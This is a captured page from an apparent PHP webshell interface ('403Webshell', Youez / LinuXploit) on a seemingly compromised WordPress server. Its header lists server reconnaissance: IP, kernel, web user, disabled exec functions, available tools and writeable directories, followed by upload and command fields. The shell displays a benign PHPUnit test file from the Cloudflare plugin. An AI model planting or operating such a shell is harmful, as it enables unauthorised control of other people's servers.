403Webshell
Server IP : 172.67.152.66  /  Your IP : 104.23.197.96
Web Server : nginx/1.26.1
System : Linux HE9229 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User : www ( 1000)
PHP Version : 8.0.26
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/11ph_ph_com/wp-content/plugins/cloudflare/src/Test/API/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/11ph_ph_com/wp-content/plugins/cloudflare/src/Test/API/AbstractPluginActionsTest.php
<?php

namespace CF\API\Test;

use CF\API\Plugin;

class AbstractPluginActionsTest extends \PHPUnit\Framework\TestCase
{
    protected $mockAbstractPluginActions;
    protected $mockAPIClient;
    protected $mockClientAPI;
    protected $mockDataStore;
    protected $mockLogger;
    protected $mockRequest;
    protected $pluginActions;

    public function setup(): void
    {
        $this->mockAPIClient = $this->getMockBuilder('\CF\API\Plugin')
            ->disableOriginalConstructor()
            ->getMock();
        $this->mockClientAPI = $this->getMockBuilder('\CF\API\Client')
            ->disableOriginalConstructor()
            ->getMock();
        $this->mockDataStore = $this->getMockBuilder('\CF\Integration\DataStoreInterface')
            ->disableOriginalConstructor()
            ->getMock();
        $this->mockLogger = $this->getMockBuilder('\Psr\Log\LoggerInterface')
            ->disableOriginalConstructor()
            ->getMock();
        $this->mockRequest = $this->getMockBuilder('\CF\API\Request')
            ->disableOriginalConstructor()
            ->getMock();
        $this->mockAbstractPluginActions = $this->getMockBuilder('CF\API\AbstractPluginActions')
            ->disableOriginalConstructor()
            ->getMockForAbstractClass();
        $this->mockDefaultIntegration = $this->getMockBuilder('\CF\Integration\DefaultIntegration')
            ->disableOriginalConstructor()
            ->getMockForAbstractClass();
        $this->mockAbstractPluginActions->setAPI($this->mockAPIClient);
        $this->mockAbstractPluginActions->setClientAPI($this->mockClientAPI);
        $this->mockAbstractPluginActions->setDataStore($this->mockDataStore);
        $this->mockAbstractPluginActions->setLogger($this->mockLogger);
        $this->mockAbstractPluginActions->setRequest($this->mockRequest);
    }

    public function testPostAccountSaveAPICredentialsReturnsErrorIfMissingApiKey()
    {
        $this->mockRequest->method('getBody')->willReturn(array(
            'email' => 'email',
        ));
        $this->mockAPIClient->method('createAPIError')->willReturn(array('success' => false));

        $response = $this->mockAbstractPluginActions->login();

        $this->assertFalse($response['success']);
    }

    public function testPostAccountSaveAPICredentialsReturnsErrorIfMissingEmail()
    {
        $this->mockRequest->method('getBody')->willReturn(array(
            'apiKey' => 'apiKey',
        ));
        $this->mockAPIClient->method('createAPIError')->willReturn(array('success' => false));

        $response = $this->mockAbstractPluginActions->login();

        $this->assertFalse($response['success']);
    }

    public function testGetPluginSettingsReturnsArray()
    {
        $this->mockDataStore->method('get')->willReturn(array());
        $this->mockAPIClient
            ->expects($this->once())
            ->method('createAPISuccessResponse')
            ->will($this->returnCallback(function ($input) {
                $this->assertTrue(is_array($input));
            }));
        $this->mockAbstractPluginActions->getPluginSettings();
    }

    public function testPatchPluginSettingsReturnsErrorForBadSetting()
    {
        $this->mockRequest->method('getUrl')->willReturn('plugin/:id/settings/nonExistentSetting');
        $this->mockAPIClient->expects($this->once())->method('createAPIError');
        $this->mockAbstractPluginActions->patchPluginSettings();
    }

    public function testGetPluginSettingsHandlesSuccess()
    {
        /*
         * This assertion should fail as we add new settings and should be updated to reflect
         * count(Plugin::getPluginSettingsKeys())
         */
        $this->mockDataStore->method('get')->willReturn(array());
        $this->mockDataStore->expects($this->exactly(7))->method('get');
        $this->mockAPIClient->expects($this->once())->method('createAPISuccessResponse');
        $this->mockAbstractPluginActions->getPluginSettings();
    }

    public function testPatchPluginSettingsUpdatesSetting()
    {
        $value = 'value';
        $settingId = 'settingId';
        $this->mockRequest->method('getUrl')->willReturn('plugin/:zonedId/settings/' . $settingId);
        $this->mockRequest->method('getBody')->willReturn(array($value => $value));
        $this->mockDataStore->method('set')->willReturn(true);
        $this->mockDataStore->expects($this->once())->method('set');
        $this->mockAPIClient->expects($this->once())->method('createAPISuccessResponse');
        $this->mockAbstractPluginActions->patchPluginSettings();
    }

    public function testPatchPluginSettingsReturnsErrorIfSettingUpdateFails()
    {
        $value = 'value';
        $settingId = 'settingId';
        $this->mockRequest->method('getUrl')->willReturn('plugin/:zonedId/settings/' . $settingId);
        $this->mockRequest->method('getBody')->willReturn(array($value => $value));
        $this->mockDataStore->method('set')->willReturn(null);
        $this->mockDataStore->expects($this->once())->method('set');
        $this->mockAPIClient->expects($this->once())->method('createAPIError');
        $this->mockAbstractPluginActions->patchPluginSettings();
    }

    public function testLoginReturnsErrorIfAPIKeyOrEmailAreInvalid()
    {
        $apiKey = 'apiKey';
        $email = 'email';
        $this->mockRequest->method('getBody')->willReturn(array(
            $apiKey => $apiKey,
            $email => $email,
        ));
        $this->mockDataStore->method('createUserDataStore')->willReturn(true);
        $this->mockClientAPI->method('responseOk')->willReturn(false);

        $this->mockAPIClient->expects($this->once())->method('createAPIError');
        $this->mockAbstractPluginActions->login();
    }

    public function testGetPluginSettingsCallsCreatePluginSettingObjectIfDataStoreGetIsNull()
    {
        $this->mockDataStore->method('get')->willReturn(null);
        $this->mockAPIClient->expects($this->atLeastOnce())->method('createPluginSettingObject');
        $this->mockAbstractPluginActions->getPluginSettings();
    }

    public function testPatchPluginSettingsCallsApplyDefaultSettingsIfSettingIsDefaultSettings()
    {
        $settingId = 'default_settings';
        $this->mockRequest->method('getUrl')->willReturn('plugin/:zonedId/settings/' . $settingId);
        $this->mockDataStore->method('set')->willReturn(true);
        $this->mockAbstractPluginActions->expects($this->once())->method('applyDefaultSettings');
        $this->mockAbstractPluginActions->patchPluginSettings();
    }

    public function testGetUserConfigReturnsEmptyJson()
    {
        $this->mockAPIClient->expects($this->once())->method('createAPISuccessResponse')->with([]);
        $this->mockAbstractPluginActions->getConfig();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit